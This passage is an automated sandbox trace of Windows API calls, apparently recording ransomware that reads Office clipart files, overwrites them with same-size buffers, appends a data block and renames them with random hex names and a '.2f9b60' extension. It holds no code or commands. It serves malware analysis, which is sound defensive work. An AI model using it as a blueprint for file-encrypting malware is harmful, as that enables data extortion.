Files\\Microsoft Office\\CLIPART\\PUB60COR\\4752361cc06e.2f9b60", NtPathName=0x2c40f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4752361cc06e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2bad0 Thread: id = 2383 os_tid = 0x1da0 [0150.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0150.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF", dwFileAttributes=0x20) returned 1 [0150.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21f4 [0150.399] GetFileSizeEx (in: hFile=0x21f4, lpFileSize=0x2e48fbc0 | out: lpFileSize=0x2e48fbc0*=13042) returned 1 [0150.399] SetFilePointerEx (in: hFile=0x21f4, liDistanceToMove=0x32ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.399] ReadFile (in: hFile=0x21f4, lpBuffer=0x2e48fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e48fb88, lpOverlapped=0x0 | out: lpBuffer=0x2e48fb40*, lpNumberOfBytesRead=0x2e48fb88*=0x4, lpOverlapped=0x0) returned 1 [0150.401] SetFilePointerEx (in: hFile=0x21f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0150.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe680 [0150.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0150.402] NtQuerySystemTime (in: CurrentTime=0x2e48fa80 | out: CurrentTime=0x2e48fa80*=132462177556174000) returned 0x0 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x7469f4bb [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x4b371d5d [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x114363ca [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x5503fe6c [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x32e344a4 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x33321bb6 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x16562f70 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x6e206bcd [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x663987a [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x35251a19 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x594a4fcf [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x177e4750 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x4f21cd20 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x6abc01 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x6d61ad7a [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x7af7b7e2 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x636dc635 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x6df0a9e0 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x1b45539d [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x666afdc6 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x1e1d87ad [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x1999a91d [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x355647cb [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x5388bc9 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0xe8ae622 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x63a39eb7 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x717567f2 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x4dc674bd [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x2d67ce4a [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x4b6b16d5 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x6df57a61 [0150.402] RtlRandomEx (in: Seed=0x2e48fa70 | out: Seed=0x2e48fa70) returned 0x60878997 [0150.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b330 [0150.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46c0 [0150.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b330) returned 1 [0150.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0150.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0150.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058330 [0150.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b330 [0150.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0150.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0150.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4246a600 [0150.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4246e500 [0150.415] ReadFile (in: hFile=0x21f4, lpBuffer=0x4246a600, nNumberOfBytesToRead=0x32f2, lpNumberOfBytesRead=0x2e48fa70, lpOverlapped=0x0 | out: lpBuffer=0x4246a600*, lpNumberOfBytesRead=0x2e48fa70*=0x32f2, lpOverlapped=0x0) returned 1 [0150.416] SetFilePointerEx (in: hFile=0x21f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.416] WriteFile (in: hFile=0x21f4, lpBuffer=0x4246e500*, nNumberOfBytesToWrite=0x32f2, lpNumberOfBytesWritten=0x2e48fa74, lpOverlapped=0x0 | out: lpBuffer=0x4246e500*, lpNumberOfBytesWritten=0x2e48fa74*=0x32f2, lpOverlapped=0x0) returned 1 [0162.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c188a0 [0162.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c188d0 [0162.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c188d0) returned 1 [0162.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4246e500) returned 1 [0162.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4246a600) returned 1 [0162.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b330) returned 1 [0162.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058330) returned 1 [0162.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c188d0 [0162.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058330 [0162.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b330 [0162.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18900 [0162.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18900) returned 1 [0162.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18900 [0162.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18930 [0162.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18960 [0162.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18960) returned 1 [0162.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b330) returned 1 [0162.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058330) returned 1 [0162.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14bd0 [0162.373] SetFilePointerEx (in: hFile=0x21f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.373] WriteFile (in: hFile=0x21f4, lpBuffer=0x42c14bd0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e48fb90, lpOverlapped=0x0 | out: lpBuffer=0x42c14bd0*, lpNumberOfBytesWritten=0x2e48fb90*=0x10a, lpOverlapped=0x0) returned 1 [0164.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18870 [0164.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24520 [0164.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd98c0 [0164.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd98c0) returned 1 [0164.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd98c0 [0164.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9890 [0164.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9890) returned 1 [0164.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0164.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18870) returned 1 [0164.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa260 [0164.524] sprintf (in: _Dest=0x1b7aa260, _Format="%c%c" | out: _Dest="1c") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa262, _Format="%c%c" | out: _Dest="39") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa264, _Format="%c%c" | out: _Dest="1e") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa266, _Format="%c%c" | out: _Dest="ee") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa268, _Format="%c%c" | out: _Dest="e8") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa26a, _Format="%c%c" | out: _Dest="c2") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa26c, _Format="%c%c" | out: _Dest="33") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa26e, _Format="%c%c" | out: _Dest="b2") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa270, _Format="%c%c" | out: _Dest="65") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa272, _Format="%c%c" | out: _Dest="e4") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa274, _Format="%c%c" | out: _Dest="2e") returned 2 [0164.524] sprintf (in: _Dest=0x1b7aa276, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa278, _Format="%c%c" | out: _Dest="52") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa27a, _Format="%c%c" | out: _Dest="68") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa27c, _Format="%c%c" | out: _Dest="15") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa27e, _Format="%c%c" | out: _Dest="a6") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa280, _Format="%c%c" | out: _Dest="95") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa282, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa284, _Format="%c%c" | out: _Dest="de") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa286, _Format="%c%c" | out: _Dest="a7") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa288, _Format="%c%c" | out: _Dest="d6") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa28a, _Format="%c%c" | out: _Dest="49") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa28c, _Format="%c%c" | out: _Dest="a3") returned 2 [0164.525] sprintf (in: _Dest=0x1b7aa28e, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.525] RtlInitAnsiString (in: DestinationString=0x2e48fc08, SourceString="1c391eeee8c233b265e42eef526815a6959adea7d649a34f" | out: DestinationString="1c391eeee8c233b265e42eef526815a6959adea7d649a34f") [0164.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e48fbd8, SourceString="1c391eeee8c233b265e42eef526815a6959adea7d649a34f", AllocateDestinationString=1 | out: DestinationString="1c391eeee8c233b265e42eef526815a6959adea7d649a34f") returned 0x0 [0164.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14a40 [0164.526] RtlFreeAnsiString (AnsiString="1") [0164.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa260) returned 1 [0164.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd98c0) returned 1 [0164.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14bd0) returned 1 [0164.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18900) returned 1 [0164.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18930) returned 1 [0164.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c188d0) returned 1 [0164.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c188a0) returned 1 [0164.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe680) returned 1 [0164.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0164.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f46c0) returned 1 [0164.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30450 [0164.530] wcscat (in: _Dest=0x42c30450, _Source="1c391eeee8c2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c391eeee8c2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c391eeee8c2" [0164.530] wcscat (in: _Dest=0x42c30450, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c391eeee8c2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c391eeee8c2.2f9b60" [0164.530] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c391eeee8c2.2f9b60", NtPathName=0x2e48fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c391eeee8c2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279bb0 Thread: id = 2384 os_tid = 0x1da4 [0150.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0150.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF", dwFileAttributes=0x20) returned 1 [0150.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21f8 [0150.424] GetFileSizeEx (in: hFile=0x21f8, lpFileSize=0x2e61f6c0 | out: lpFileSize=0x2e61f6c0*=2700) returned 1 [0150.424] SetFilePointerEx (in: hFile=0x21f8, liDistanceToMove=0xa88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.425] ReadFile (in: hFile=0x21f8, lpBuffer=0x2e61f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e61f688, lpOverlapped=0x0 | out: lpBuffer=0x2e61f640*, lpNumberOfBytesRead=0x2e61f688*=0x4, lpOverlapped=0x0) returned 1 [0150.426] SetFilePointerEx (in: hFile=0x21f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0150.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0150.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4750 [0150.427] NtQuerySystemTime (in: CurrentTime=0x2e61f580 | out: CurrentTime=0x2e61f580*=132462177556330000) returned 0x0 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x924743a [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x2768b6ee [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x7388ea4e [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x1f693397 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x73161b98 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x5720a919 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x79df6abd [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x4d96d329 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x39488fd8 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x19c033f6 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x4fd0e00 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x498c42b9 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x630a34d5 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x6a71b2a1 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x5b93252b [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x45f61611 [0150.427] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x6550f5d3 [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x7e7ed6d7 [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x5385cc0f [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x77ca6a51 [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x2eec388c [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x5a9511ce [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x31d8f850 [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0xc8bc269 [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x305b04d0 [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0xd40c26d [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x7ad0fb16 [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x1b14e494 [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x46714f90 [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x12231d7b [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x4626ec38 [0150.428] RtlRandomEx (in: Seed=0x2e61f570 | out: Seed=0x2e61f570) returned 0x30078b41 [0150.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4780 [0150.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0150.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f47b0 [0150.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0150.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4750) returned 1 [0150.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0150.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058380 [0150.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0150.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0150.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0150.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42472110 [0150.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42475d20 [0150.438] ReadFile (in: hFile=0x21f8, lpBuffer=0x42472110, nNumberOfBytesToRead=0xa8c, lpNumberOfBytesRead=0x2e61f570, lpOverlapped=0x0 | out: lpBuffer=0x42472110*, lpNumberOfBytesRead=0x2e61f570*=0xa8c, lpOverlapped=0x0) returned 1 [0150.438] SetFilePointerEx (in: hFile=0x21f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.438] WriteFile (in: hFile=0x21f8, lpBuffer=0x42475d20*, nNumberOfBytesToWrite=0xa8c, lpNumberOfBytesWritten=0x2e61f574, lpOverlapped=0x0 | out: lpBuffer=0x42475d20*, lpNumberOfBytesWritten=0x2e61f574*=0xa8c, lpOverlapped=0x0) returned 1 [0162.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18a20 [0162.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18a50 [0162.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18a50) returned 1 [0162.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42475d20) returned 1 [0162.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42472110) returned 1 [0162.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0162.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058380) returned 1 [0162.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18a50 [0162.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058380 [0162.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0162.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18a80 [0162.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18a80) returned 1 [0162.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18a80 [0162.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ab0 [0162.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ae0 [0162.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ae0) returned 1 [0162.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0162.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058380) returned 1 [0162.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14e10 [0162.406] SetFilePointerEx (in: hFile=0x21f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.406] WriteFile (in: hFile=0x21f8, lpBuffer=0x42c14e10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e61f690, lpOverlapped=0x0 | out: lpBuffer=0x42c14e10*, lpNumberOfBytesWritten=0x2e61f690*=0x10a, lpOverlapped=0x0) returned 1 [0164.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18870 [0164.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24520 [0164.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4840 [0164.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4840) returned 1 [0164.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4840 [0164.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4810 [0164.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4810) returned 1 [0164.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0164.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18870) returned 1 [0164.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa260 [0164.562] sprintf (in: _Dest=0x1b7aa260, _Format="%c%c" | out: _Dest="dd") returned 2 [0164.562] sprintf (in: _Dest=0x1b7aa262, _Format="%c%c" | out: _Dest="f9") returned 2 [0164.562] sprintf (in: _Dest=0x1b7aa264, _Format="%c%c" | out: _Dest="0a") returned 2 [0164.562] sprintf (in: _Dest=0x1b7aa266, _Format="%c%c" | out: 